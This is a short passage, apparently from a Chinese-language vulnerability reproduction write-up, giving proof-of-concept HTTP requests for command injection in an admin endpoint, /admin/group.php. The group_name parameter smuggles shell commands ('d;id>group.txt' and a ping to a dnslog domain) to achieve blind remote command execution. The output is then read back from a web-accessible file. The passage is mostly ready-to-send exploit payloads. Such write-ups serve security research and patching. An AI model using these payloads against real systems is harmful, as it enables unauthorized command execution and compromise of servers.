0x05 漏洞复现

1.访问漏洞环境

2.构造POC

POC （GET）

GET /admin/group.php?memberid=root&cmd=add&group_name=d;id>group.txt HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 0

PS：（此远程命令执行是无回显的）

3.复现

执行ping命以及利用dnslog

GET /admin/group.php?memberid=root&cmd=add&group_name=d;ping+fyfkauyqub.dgrh3.cn HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 0

1.发送写入文件的数据包
2.访问写入的文件进行RCE

GET /admin/group.txt HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
